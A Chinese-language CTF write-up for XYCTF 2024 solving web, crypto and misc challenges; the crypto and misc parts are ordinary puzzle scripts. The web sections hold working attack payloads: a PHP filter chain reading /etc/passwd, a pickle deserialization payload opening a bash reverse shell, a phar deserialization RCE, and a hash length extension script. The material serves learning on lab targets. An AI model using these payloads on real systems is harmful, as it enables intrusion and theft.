TF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd

得到的p再补上6个|convert.base64-decode

复现的时候发现了,确实直接对XYCTF使用工具,会出现大量的乱码在XYCTF后面,那除了多次base64编码,还有什么办法解决呢?
https://blog.csdn.net/m0_73512445/article/details/134627841
根据base64的特性,需要让XYCTF的长度满足三的倍数关系,多加一个<,最后配合string.strip_tags过滤器剔除垃圾字符,即剔除<后面的所有垃圾字符

url/what's_this.php?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags

Web login

flag登录就送?登陆不上啊,尝试看看有没有注册页面,发现register.php
登陆后,页面没什么信息,但是它的cookie值好奇怪,RememberMe?不会是Shiro反序列化漏洞吧
再看值gASVMAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBYZSMA3B3ZJSMAzEyM5R1Yi4=,base64解密之后可以看见用户信息,那就是Pickle反序列化

https://blog.csdn.net/weixin_45669205/article/details/116274988

import pickle
import base64


class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('cat /flag')",))


a = A()
print(base64.b64encode(pickle.dumps(a)))

常用的__reduce__魔术方法waf了
换个方法
https://zhuanlan.zhihu.com/p/361349643
正好弹个shell试试

import base64
data = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
o.'''
print(base64.b64encode(data))

payload打回cookie的RememberMe中

Web pharme

跳转class.php

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd;
public $a;
public function __destruct(){
if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'isbigvegetablechicken!');
} else {
echo 'nonono';
}
}
}

if(isset($_POST['file']))
{
if(preg_match('/^phar:\/\//i',$_POST['file']))
{
die("nonono");
}
file_get_contents($_POST['file']);
}

if('ch3nx1' === preg_replace('/;+/','ch3nx1' preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd)))
要用到A-Z、a-z、()、;
很明显是要我们构造无参RCE

查看当前目录文件名
print_r(scandir(current(localeconv())));

随机读取
show_source(array_rand(array_flip(scandir(current(localeconv())))));

读取上级目录文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

查看和读取根目录文件,概率构造,所获得的字符串第一位有几率是/,需要多试几次
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

同时,还有注意到这个
eval($this->cmd.‘isbigvegetablechicken!’);
不能把后面的脏数据带一起,不然eval函数执行不了
可以利用__halt_compiler()函数终止文件编译进行截断

发现.phar无法上传,会出现
!preg_match(“/__HALT_COMPILER/i”,FILE_CONTENTS)
gzip压缩一下,修改后缀为.jpg,经典绕过

if(preg_match('/^phar:\/\//i',$_POST['file'])),post的文件开头不能含有phar://
绕过
https://vvmdx.github.io/2021/12/05/2021-12-05-Phar反序列化及其Bypass/index.html

https://xz.aliyun.com/t/6699?time__1311=n4%2BxnD0DRDBGit30%3DKDsA3rziDkDcDQwe%2BhwD&alichlgref=https%3A%2F%2Fcn.bing.com%2F

自己构建一个phar文件,将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

<?php
class evil
{
public $cmd = 'show_source(array_rand(array_flip(scandir(current(localeconv())))));__halt_compiler();';
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new evil();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

还有一篇讲绕过的
https://blog.csdn.net/MrWangisgoodboy/article/details/130146658
POST:
file=compress.zlib://phar:///temp/xxxx/phar.jpg
发现没输出,问学长,compress.zlib是要开启zip拓展才有的,不一定能用
一开始忘了,直接改的后缀,能打才怪

gzip压一下,改后缀为.jpg
file=php://filter/resource=phar:///temp/xxx/phar.phar.jpg

还有的就是文件签名修改,这样貌似快一点,还可以直接在后面进行写打通的代码

from hashlib import sha1
import gzip

with open("phar.phar", 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("phar.jpg", "wb")
f_gzip.write(new_file)

发现确实是没打通,无参RCE还是出了点问题

这种随机读的有时就很烦,不如拿请求头打一遍

current() //返回数组中的当前单元,默认取第一个值
pos() //current的别名
reset() //将数组的内部指针指向第一个单元
end() //将数组的内部指针指向最后一个单元
next() //将数组中的内部指针向前移动一位

第一个请求头实现命令执行,print_r(getallheaders());eval(current(getallheaders()));__halt_compiler();


我的建议是bp发包,你用hackbar加的请求头会不知道飙哪里去了

我在NewStarCTF2023复现中使用到了UA头,用的是next(),但这里我没打出来,没用bp发包,我觉得大概率是hackbar的锅,后知后觉

如果是读文件,给个网上wp的参考,highlight_file(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));__halt_compiler();

真得写脚本跑一下了

import requests

i = 0
url = "http://gz.imxbt.cn:20506/class.php"
while True:
i += 1
resp = requests.post(url, data={
'file': 'php://filter/resource=phar:///tmp/628941e623f5a967093007bf39be805f.jpg'
})
if 'XYCTF' in resp.text:
print(i)
print(resp.text)

会不会我最开始上面的那个读文件,也需要脚本跑一下?(狗头)

Web give me flag

 <?php
include('flag.php');
$FLAG_md5 = md5($FLAG);
if(!isset($_GET['md5']) || !isset($_GET['value']))
{
highlight_file(__FILE__);
die($FLAG_md5);
}

$value = $_GET['value'];
$md5 = $_GET['md5'];
$time = time();

if(md5($FLAG.$value.$time)===$md5)
{
echo "yes, give you flag: ";
echo $FLAG;
}
a290ddddf67ee8e5165cfea1d42c4f92

带时间戳的哈希长度拓展攻击
文章
https://www.cnblogs.com/yunen/p/13624595.html
其实也没有讲到时间戳,也还好吧,自己加进去
攻击脚本
https://github.com/shellfeel/hash-ext-attack
需要增加flag长度爆破(其实不用,动态flag,格式:flagname{uuid.uuid4()},所以是,7+36=43),加入时间戳
参考
https://blog.csdn.net/2301_76690905/article/details/135177452
其实加时间戳就是提前设置时间就可以了,正常来说提前5秒就够了

import time
import requests
url = 'http://gz.imxbt.cn:20508/?md5=4d4dc106e17034ce3d33c6bc8c73616b&value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00'
while True:
print(time.time())
res = requests.get(url=url)
if "XYCTF" in res.text:
print(res.text)
break

或者修改hash-ext-attack-master\common\HashExtAttack.py,在脚本中手动加入时间戳

def test(self, i):
self.run(
"",
"0aa76d17234720c5780c581d97d32b84", str(int(time.time())), i)

hash-ext-attack-master文件夹下,新建py文件

import urllib
import requests
from common.HashExtAttack import HashExtAttack

hash_ext_attack = HashExtAttack()
while 1:
hash_ext_attack.test(43)
value = urllib.parse.quote(hash_ext_attack.new_text[43:-10], safe='&=')
md5 = hash_ext_attack.new_hash
url = "http://gz.imxbt.cn:20508/"
params = {"md5": md5, "value": urllib.parse.unquote(value)}
r = requests.get(url + f"?md5={md5}&value={value}")
print(url + f"?md5={md5}&value={value}")
if 'yes' in r.text:
print(r.text)
break

一个直接借助原脚本,一个则是稍微做出了修改

原平台貌似时延比较大?现复现平台一跑就出了

Web baby_unserialize

暂无

Crypto

Crypto Sign1n[签到]

其实就是对代码进行逆向操作,读懂代码,然后稍微改动原代码即可

from Crypto.Util.number import *
b = '12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567891134567780113445678912234577900133457889122356678911344577991223566780113355788901245667901134456789122355788001334568991123467799023445678012235578800133457889113356679001344567991223557880012355788911235667991134457799122355788001245578891124566789023445788912234677801124456899013356679001245578801233467789112355779912234577990233556780113'


def custom_add(input_str):
input_list = list(input_str)
length = len(input_list)

for i in range(length):
input_list[i] = str((int(input_list[i]) - i - 1) % 10)

result = ''.join(input_list)
return result


def swap_bits(input_str):
input_list = list(input_str[2:])
length = len(input_list)

for i in range(length // 2):
temp = input_list[i]
input_list[i] = input_list[length - 1 - i]
input_list[length - 1 - i] = temp

return ''.join(input_list)


dec_b = custom_add(b)
bin_str = swap_bits(dec_b)
# print(bin_str)
flag = 0b1011000010110010100001101010100010001100111101101100011001101000110001001100110001100110011100000111001001101100010110100110101001101010011000100110100001011010011010000110011001101010011000100101101001110000011100101100001011000010010110100110000001101110011100000110101011000110011010100110100001100110011000100110100001100000011011001111101
print(long_to_bytes(flag))
# XYCTF{c4bf3896-5514-4351-89aa-0785c5431406}

Crypto Sign1n_Revenge

签到题打法。。。

Crypto happy_to_solve1

题目

def get_happy_prime():
p = getPrime(512)
q = sympy.nextprime(p ^ ((1 << 512) - 1))
return p, q

q是p取反的下一个素数,指路https://blog.csdn.net/m0_62506844/article/details/124256746

import gmpy2
from Crypto.Util.number import *
n = 24852206647750545040640868093921252282805229864862413863025873203291042799096787789288461426555716785288286492530194901130042940279109598071958012303179823645151637759103558737126271435636657767272703908384802528366090871653024192321398785017073393201385586868836278447340624427705360349350604325533927890879
c = 14767985399473111932544176852718061186100743117407141435994374261886396781040934632110608219482140465671269958180849886097491653105939368395716596413352563005027867546585191103214650790884720729601171517615620202183534021987618146862260558624458833387692782722514796407503120297235224234298891794056695442287
e = 65537
t1 = 1 << 512
p = (2**512+gmpy2.iroot((2**512)**2-4*n, 2)[0])//2
p = int(p)
while n % p != 0:
p = gmpy2.next_prime(p)
q = n//p
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

Crypto babyRSAMAX

from gmpy2 import *
from Crypto.Util.number import *
from sympy.ntheory import discrete_log
n = 39332423872740210783246069030855946244104982381157166843977599780233911183158560901377359925435092326653303964261550158658551518626014048783435245471536959844874036516931542444719549997971482644905523459407775392702211086149279473784796202020281909706723380472571862792003687423791576530085747716706475220532321
gift1 = 4549402444746338327349007235818187793950285105091726167573552412678416759694660166956782755631447271662108564084382098562999950228708300902201571583419116299932264478381197034402338481872937576172197202519770782458343606060544694608852844228400457232100904217062914047342663534138668490328400022651816597367310
gift2 = 111061215998959709920736448050860427855012026815376672067601244053580566359594802604251992986382187891022583247997994146019970445247509119719411310760491983876636264003942870756402328634092146799825005835867245563420135253048223898334460067523975023732153230791136870324302259127159852763634051238811969161011462
c = 16938927825234407267026017561045490265698491840814929432152839745035946118743714566623315033802681009017695526374397370343984360997903165842591414203197184946588470355728984912522040744691974819630118163976259246941579063687857994193309554129816268931672391946592680578681270693589911021465752454315629283033043
y = 1813650001270967709841306491297716908969425248888510985109381881270362755031385564927869313112540534780853966341044526856705589020295048473305762088786992446350060024881117741041260391405962817182674421715239197211274668450947666394594121764333794138308442124114744892164155894256326961605137479286082964520217
q = GCD(gift2-gift1, n)
p = n//q
phi = (p-1)*(q-1)
d = inverse(65537, phi)
e = pow(y, d, n)
print(long_to_bytes(e))
e = 4096

e=2^12,一开始没有任何思路,但慢慢搜素发现了这个神奇的Rabin体系,之前没好好学QWQ
https://zhuanlan.zhihu.com/p/533927542
指路https://blog.csdn.net/qq_73643549/article/details/134096838
又或者NewStar2023 week4 signin

from Crypto.Util.number import *
n = 39332423872740210783246069030855946244104982381157166843977599780233911183158560901377359925435092326653303964261550158658551518626014048783435245471536959844874036516931542444719549997971482644905523459407775392702211086149279473784796202020281909706723380472571862792003687423791576530085747716706475220532321
gift1 = 4549402444746338327349007235818187793950285105091726167573552412678416759694660166956782755631447271662108564084382098562999950228708300902201571583419116299932264478381197034402338481872937576172197202519770782458343606060544694608852844228400457232100904217062914047342663534138668490328400022651816597367310
gift2 = 111061215998959709920736448050860427855012026815376672067601244053580566359594802604251992986382187891022583247997994146019970445247509119719411310760491983876636264003942870756402328634092146799825005835867245563420135253048223898334460067523975023732153230791136870324302259127159852763634051238811969161011462
c = 16938927825234407267026017561045490265698491840814929432152839745035946118743714566623315033802681009017695526374397370343984360997903165842591414203197184946588470355728984912522040744691974819630118163976259246941579063687857994193309554129816268931672391946592680578681270693589911021465752454315629283033043
y = 1813650001270967709841306491297716908969425248888510985109381881270362755031385564927869313112540534780853966341044526856705589020295048473305762088786992446350060024881117741041260391405962817182674421715239197211274668450947666394594121764333794138308442124114744892164155894256326961605137479286082964520217
q = GCD(gift2-gift1, n)
p = n//q
inv_p = inverse(p, q)
inv_q = inverse(q, p)
cs = [c]
for i in range(12):
ps = []
for c in cs:
r = pow(c, (p + 1) // 4, p)
s = pow(c, (q + 1) // 4, q)
x = (r*inv_q*q + s * inv_p * p) % n
y = (r*inv_q*q - s * inv_p * p) % n
if x not in ps:
ps.append(x)
if n - x not in ps:
ps.append(n - x)
if y not in ps:
ps.append(y)
if n - y not in ps:
ps.append(n - y)
cs = ps # 嵌套
for m in ps:
flag = long_to_bytes(m)
if b'XYCTF' in flag:
print(flag)

Crypto factor1

题目

import gmpy2
import hashlib
from Crypto.Util.number import *
p = getPrime(512)
q = getPrime(512)
d = getPrime(512)
e = gmpy2.invert(d, (p**3 - 1) * (q**3 - 1))
flag = "XYCTF{" + hashlib.md5(str(p + q).encode()).hexdigest() + "}"
print(e)
print(p * q)
#172005065945326769176157335849432320425605083524943730546805772515111751580759726759492349719668775270727323745284785341119685198468883978645793770975366048506237371435027612758232099414404389043740306443065413069994232238075194102578269859784981454218948784071599231415554297361219709787507633404217550013282713899284609273532223781487419770338416653260109238572639243087280632577902857385265070736208291583497988891353312351322545840742380550393294960815728021248513046077985900158814037534487146730483099151396746751774427787635287611736111679074330407715700153025952858666841328055071403960165321273972935204988906850585454805923440635864200149694398767776539993952528995717480620593326867245714074205285828967234591508039849777840636255379730281105670496110061909219669860172557450779495125345533232776767292561378244884362014224844319802810586344516400297830227894063759083198761120293919537342405893653545157892446163
#99075185389443078008327214328328747792385153883836599753096971412377366865826254033534293886034828804219037466246175526347014045811852531994537520303063113985486063022444972761276531422538694915030159420989401280012025249129111871649831185047820236417385693285461420040134313833571949090757635806658958193793

ϕ(n)\phi(n)的近似值为n3n^3
套安恒书上的一个脚本

import gmpy2
from sympy import *
from Crypto.Util.number import long_to_bytes
import hashlib

e=
n=

class ContinuedFraction():
def __init__(self, numerator, denumerator):
self.numberlist = []
self.fractionlist = []
self.GenerateNumberList(numerator, denumerator)
self.GenerateFractionList()

def GenerateNumberList(self, numerator, denumerator):
while numerator != 1:
quotient = numerator//denumerator
remainder = numerator % denumerator
self.numberlist.append(quotient)
numerator = denumerator
denumerator = remainder

def GenerateFractionList(self):
self.fractionlist.append([self.numberlist[0], 1])
for i in range(1, len(self.numberlist)):
numerator = self.numberlist[i]
denumerator = 1
for j in range(i):
temp = numerator
numerator = denumerator+numerator*self.numberlist[i-j-1]
denumerator = temp
self.fractionlist.append([numerator, denumerator])


a = ContinuedFraction(e, n**3)
result = []
for k, d in a.fractionlist:
if k == 0:
continue
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
result.append(phi)
x = Symbol('x')
for phi in result:
f = n**3-x**3+3*n*x-phi+1
flag = solve(f, x)[0]
print("XYCTF{" + hashlib.md5(str(flag).encode()).hexdigest() + "}")

Crypto factor3

维纳攻击,连分数分解,跟上面一样,只是ϕ(n)\phi(n)的近似值换成了pow(n+1,2),或者pow(n,2),都能把ϕ(n)\phi(n)找到
c=d**2^mm=c^(d**2)

for phi in result:
d = inverse(e, phi)
flag = long_to_bytes(c ^ (d**2))
if b'XYCTF' in flag:
print(flag)
# b'XYCTF{I_love_to_read_the_crypto_paper_and_try_to_ak_them}'

看到这个flag的时候确实翻了看了不少paper,但都没能找到正确的攻击方法,但通过这两题,我好像发现了窍门,就是找到ϕ(n)\phi(n)的近似值(与n相关)就可以了,这种方法应该是对p和q有限制的,但题目是肯定满足条件的

Misc

Misc 签到

公众号题,跳过

Misc 真>签到

010无需多言
XYCTF{59bd0e77d13c_1406b23219e_f91cf3a_153e8ea4_77508ba}

Misc ez_隐写

爆破没有用,binwalk看看,提示图片损坏,压缩软件和虚拟机都提示crc值错误,说明宽高必然不对
010一看,高太大了,改成高等宽试试,保存发现图片可以查看了,右下角提示,XYCTF开赛时间,这不20240401嘛
结果输进去死活都不对,队友可以,结果一试,我只有在7zip里面才可以打开
附一张水印图

然后就是盲水印提取了,可以拿工具,也可以上脚本,貌似工具不怎么清晰,emm
大佬的一个matlab脚本

imageA=imread('water.jpg','jpg');
fftA=fft2(imageA);
imshow(fftshift(fftA));
imshow(fft(rgb2gray(imread(dec_water.jpg))),[1,2]);

Misc zzl的护理小课堂

看源代码的话没什么用,把源代码这一段放控制台跑了就行

var flagXhr = new XMLHttpRequest(); 
flagXhr.open('GET', 'flag.php', true);
flagXhr.onreadystatechange = function() {
if (flagXhr.readyState === 4 && flagXhr.status === 200) {
var flag = flagXhr.responseText;
document.getElementById('scoreDisplay').innerText = "Flag: " + flag;
}
};
flagXhr.send();

XYCTF{Z21_7elL_YOu_79aaa6f2b520}

哟嚯,看见官方wp考点是js断点,好吧,有的wp是抓包,然后再访问flag.php

Misc 彩蛋?


发现两个彩蛋,八进制转码得到XYCTF{this_a_,二进制解码得到find_it},要注意的是这里7位一组
海报webp格式转png,lsb隐写,rgb000
https://cdkm.com/cn/webp-to-png#google_vignette
键盘密码,除了常见的QWERTY,还有dvorak
xn0jtxgoy.p{urp{lbi{abe{c{ydcbt{frb{jab{
http://wbic16.xedoloh.com/dvorak.html
随波逐流也可以,但是要知道是dvorak解密
XYCTF{this_a_bl0ckbuster_for_png_and_i_think_yon_can_find_it}

赛后发现原来lsb隐写可以不手动?
kali: zsteg -a aa.png
好东西啊

Misc 熊博士

CBXGU{ORF_BV_NVR_BLF_CRZL_QQ}
CBXGUORFBVNVRBLFCRZLQQ放入随波逐流
得到Atbash解码:xyctfliuyemeiyouxiaojj
再根据提示
XYCTF{liu_ye_mei_you_xiao_jj}

Misc game

百度识图就是lj,前几天梯子订阅出了点问题,今天好了,谷歌识图一把出
XYCTF{Papers Please}
(本人不玩Steam)

Misc ZIP神之套

把exe文件拖入小黑窗,得到xyctf????????ftcyx
用ARCHPR,进行掩码攻击,得到密码xyctf20240401ftcyx
再用ARCHPR进行已知明文攻击,保存已解密的压缩包
然后在flag.md中发现flag,XYCTF{1A4B8-C9D2F3E-6A4B8C-9D2F3E7F}

Misc TPCL

搬出我pwn爹的blog
https://qanux.github.io/2023/11/16/记一次使用gdb来调试异构程序/
用qemu-user执行文件

1->0,得到FLAG{PLCT_An4_r0SCv_x0huann0}

Misc 网络追踪

往最后拉

很明显,中间红色的一大片应该就是主机(靶机),192.168.204.133
查看开放端口,过滤出TCP SYN和ACK标志位为1的所有流量包,选择主机产生的流量,tcp.flags.syn ==1 && tcp.flags.ack ==1 && ip.src==192.168.204.133
很明显得到,445 139 135
445端口产生的流量最多,SMB流量为主
Windows SMB远程代码执行漏洞
https://www.cnblogs.com/rookieDanny/p/13037862.html
这试出来的CVE-2008-4250
XYCTF{192.168.204.133_445_139_135_CVE-2008-4250}

Misc 我的二维码为啥扫不出来?

from PIL import Image
import random


def reverse_color(x):
return 0 if x == 255 else 255


def reverse_row_colors(pixels, row, width, block_size=10):
for x_block in range(width // block_size):
x = x_block * block_size
y = row * block_size
for x_small in range(x, x + block_size):
for y_small in range(y, y + block_size):
pixel = pixels[x_small, y_small]
pixels[x_small, y_small] = reverse_color(pixel)


def reverse_col_colors(pixels, col, height, block_size=10):
for y_block in range(height // block_size):
x = col * block_size
y = y_block * block_size
for x_small in range(x, x + block_size):
for y_small in range(y, y + block_size):
pixel = pixels[x_small, y_small]
pixels[x_small, y_small] = reverse_color(pixel)


original_img = Image.open("flag.png")

new_img = original_img.copy()

width, height = new_img.size
pixels = new_img.load()

count = 0

while count < 7:
x = random.randint(0, 1)
if x == 0:
reverse_col_colors(pixels, random.randint(0, height // 10 - 1), height)
else:
reverse_row_colors(pixels, random.randint(0, width // 10 - 1), width)
count += 1

new_img.save("new.png")

从行和列中选取7个进行颜色反转,丁真法可以修复四次,得到三个定位符

reverse_row_colors(pixels, 1, height)
reverse_col_colors(pixels, 5, width)
reverse_col_colors(pixels, 2, width)
reverse_col_colors(pixels, 0, width)

还需爆破三次,直接拿原脚本开干

from pyzbar.pyzbar import decode
original_img = Image.open("new.png")
while 1:
new_img = original_img.copy()
width, height = new_img.size
pixels = new_img.load()
count = 0
while count < 3:
x = random.randint(0, 1)
if x == 0:
reverse_col_colors(pixels, random.randint(
0, height // 10 - 1), height)
else:
reverse_row_colors(pixels, random.randint(
0, width // 10 - 1), width)
count += 1
flag = decode(new_img)
if len(flag):
new_img.save("new1.png")
print(flag)
break

可以参考一下
https://jht3qaq.github.io/2024/04/26/XYCTF2024-Writeup/

Misc EZ_Base1024*2

base2048
מಥൎࢺଳɫअΥٻଯԢڥիɺ୦ࢸЭਘמۊիɎඥࡆڣߣಷܤҾয౽5
这不直接梭哈?直接搜base2048可能找不到,但是搜素引擎有推荐的(手动狗头),后面跟着decoder或者online都找得到,又或者某个密码工具箱,我赛后是有看见可以直接梭哈的
https://nerdmosis.com/tools/encode-and-decode-base2048
XYCTF{84ca3a6e-3508-4e34-a5e0-7d0f03084181}

Misc 出题有点烦

爆破,压缩包密码123456,binwalk(图片5),再爆破,压缩包密码xyctf
真的flag:XYCTF{981e5_f3ca30_c841487_830f84_fb433e}

Misc 美妙的歌声

Audacity频谱图->XYCTF_1s_w3ll,不是flag,那就是密码吧,DeepSound->XYCTF{T0uch_y0ur_he3rt_d55ply!!}

Misc 又是个签到

asrmorfe.txt,emoji解一下
https://www.emojiall.com/en/text-translator-page

A bunch of tired, anxious sweats rushing down evil monkeys and screaming fear. 
In the dark and in dark, medical mask of ogre princess, evil lips clap their hands skulls.
The girl's couch was softly tearing, slightly frowned scream, scared screamer's shirt and footprints, staff member wearing bikini clothes, man no rolling eyes, old woman opening her hands.
An open-hand baby bra in pairs of slippers, covering the cat's tears family with medical mask costumes.
The one with the shirt his face and headscarf eyes closed whispers.

得到

一堆疲惫、焦虑的汗水冲下邪恶的猴子,尖叫着恐惧。
在黑暗和黑暗中,食人魔公主的医用面具,邪恶的嘴唇拍手骷髅头。
女孩的沙发轻轻地撕扯着,微微皱着眉头尖叫,吓坏了尖叫者的衬衫和脚印,工作人员穿着比基尼衣服,男人没有翻白眼,老太太张开双手。
一双拖鞋的开放式婴儿胸罩,用医用口罩服装覆盖猫的眼泪家庭。
那个穿着衬衫的人,他的脸和头巾,闭着眼睛,低声说。

签到.txt

HWXj+kI2pS+5pSJhDS0oAzlQmziosSr7gUvdXppjSt8BNUTz8oLfE57NkCrVwBBgGul5hHzCcKqyG7U5LWMOXYtzloMsVvdZdPbMZyb+EgYF17+W/S1oLDgQcjGmP6CSHWXj+kI2pS+5pSJhDS0oA3fVDcJt/sEYpz9U0yQTrgxTN0kF5G4xTJ5IKqYil2gK3Ml6usGZsucJXa6pCovoeaGSyZNq6T3aX1NOlb5Gt4gF17+W/S1oLDgQcjGmP6CSHWXj+kI2pS+5pSJhDS0oAzlQmziosSr7gUvdXppjSt8PPIU/UwIkvINgvGw+oQMCCaOmO7bDsiSxD/r9w3RKRQEfMm/fv+a/5v/NWgauEpoF17+W/S1oLDgQcjGmP6CSHWXj+kI2pS+5pSJhDS0oA2QV+Gu05V1J2eVrbGhHB487Ns8HTVNYrll8P/Xve17NCaOmO7bDsiSxD/r9w3RKRQEfMm/fv+a/5v/NWgauEpoF17+W/S1oLDgQcjGmP6CS1yISnL45ZHzPjs5BGSboyDJXscweSL6g0ptOqql5vhY7Ns8HTVNYrll8P/Xve17NlyvQj9HulYK3sIMIiNTVrv/QYgLgLF9uO3y6uH800Gy0VvmX5a5S5ZEDlkBSgVrDb/KxZEoU9d83Nbzm7yH80p9xX+50C/29uVc+H6gx1gOTPv9mT6A8qfJoby4BoCS3by65j7WFf6d/XZX0KskX4t1SAjnDpnC8qWVbU6l6Zs9zWhqP0E6UVZEUMUcRZB43hzoYB6fvcRSs8WPoArwl6dY0JrIccPz30xmtzuOLZRKpeJ5IPHFZw5l6Zo68xW/fiYggRz/KqtgFCLvPQ+Lj+6YY1X0zgl8a3xzz5EI9efUoZd30RstP6oPDy17QzTwoaA1OLHZfyIntyJiT9r3x0kLELrvwIFczyH339IGVYqE4qA/Xsd3t/I+jStXiGGCnKCWoqABdtqk7Z22cIzn0lPAiqi9i3hd/IIgrlkygiofpTmBc34UjLRWWFjQgmDQZ8em1hDlVfgd+/93D4BVIn36xgcg2RtYCx2GmXmg5JwRj5pxcBzyOVie5m0U4zHD6Rt0T8GAvCiCf9hhYkBi7lVHe4Sb7op9fpgfXrNunluSOwxS0NlaBKwa1gvE6/BNy2CI2Uv2y4jlPTdIuCNnWbCJsTSczfPJg5PVfyXykQtg4qA/Xsd3t/I+jStXiGGCnKCWoqABdtqk7Z22cIzn0lLw/priteJqeyg6psALOE5HEboNbEbOkupEDq1HXrfGn2CI2Uv2y4jlPTdIuCNnWbCJsTSczfPJg5PVfyXykQtg4qA/Xsd3t/I+jStXiGGCnctoLlIFVYoOgnQM/2Rz5g4eIxaKQoZ+9cRB51n5yxl/BJQA5860fCnVVFSyvS40JdaogrK4AcB+C0gsnUbXVyeX1Kq+MwIHo812Z/0GIAiR+HkJQwgmO7qkogz1vcP4+q7EHUnfXquRurKvZ5jMHz4eIxaKQoZ+9cRB51n5yxl9g/v4Djdoq+YadpY2vIGrZ2CI2Uv2y4jlPTdIuCNnWbDVfnXQwmbz3jY+JyZm4sKgHDLAxJSG/IIAKk2q5C0f6l6L6v86Nra6TiDC3FBOzBEMzapQz6v9XkJfLFhywMtFLbz4PXsEvXiaFbSooHN8xVDDfRmWQyINRSNJguwiY9ElfGZnb6gHT2U5ENwxhxpxW+5Jnwn3zMCBub7HDwqyOSl5l8hKoU5obcdof5SuB3A==

没思路了
官方wp也不见有这题,6

from Crypto.Cipher import AES
import base64

data = 'HWXj+kI2pS+5pSJhDS0oAzlQmziosSr7gUvdXppjSt8BNUTz8oLfE57NkCrVwBBgGul5hHzCcKqyG7U5LWMOXYtzloMsVvdZdPbMZyb+EgYF17+W/S1oLDgQcjGmP6CSHWXj+kI2pS+5pSJhDS0oA3fVDcJt/sEYpz9U0yQTrgxTN0kF5G4xTJ5IKqYil2gK3Ml6usGZsucJXa6pCovoeaGSyZNq6T3aX1NOlb5Gt4gF17+W/S1oLDgQcjGmP6CSHWXj+kI2pS+5pSJhDS0oAzlQmziosSr7gUvdXppjSt8PPIU/UwIkvINgvGw+oQMCCaOmO7bDsiSxD/r9w3RKRQEfMm/fv+a/5v/NWgauEpoF17+W/S1oLDgQcjGmP6CSHWXj+kI2pS+5pSJhDS0oA2QV+Gu05V1J2eVrbGhHB487Ns8HTVNYrll8P/Xve17NCaOmO7bDsiSxD/r9w3RKRQEfMm/fv+a/5v/NWgauEpoF17+W/S1oLDgQcjGmP6CS1yISnL45ZHzPjs5BGSboyDJXscweSL6g0ptOqql5vhY7Ns8HTVNYrll8P/Xve17NlyvQj9HulYK3sIMIiNTVrv/QYgLgLF9uO3y6uH800Gy0VvmX5a5S5ZEDlkBSgVrDb/KxZEoU9d83Nbzm7yH80p9xX+50C/29uVc+H6gx1gOTPv9mT6A8qfJoby4BoCS3by65j7WFf6d/XZX0KskX4t1SAjnDpnC8qWVbU6l6Zs9zWhqP0E6UVZEUMUcRZB43hzoYB6fvcRSs8WPoArwl6dY0JrIccPz30xmtzuOLZRKpeJ5IPHFZw5l6Zo68xW/fiYggRz/KqtgFCLvPQ+Lj+6YY1X0zgl8a3xzz5EI9efUoZd30RstP6oPDy17QzTwoaA1OLHZfyIntyJiT9r3x0kLELrvwIFczyH339IGVYqE4qA/Xsd3t/I+jStXiGGCnKCWoqABdtqk7Z22cIzn0lPAiq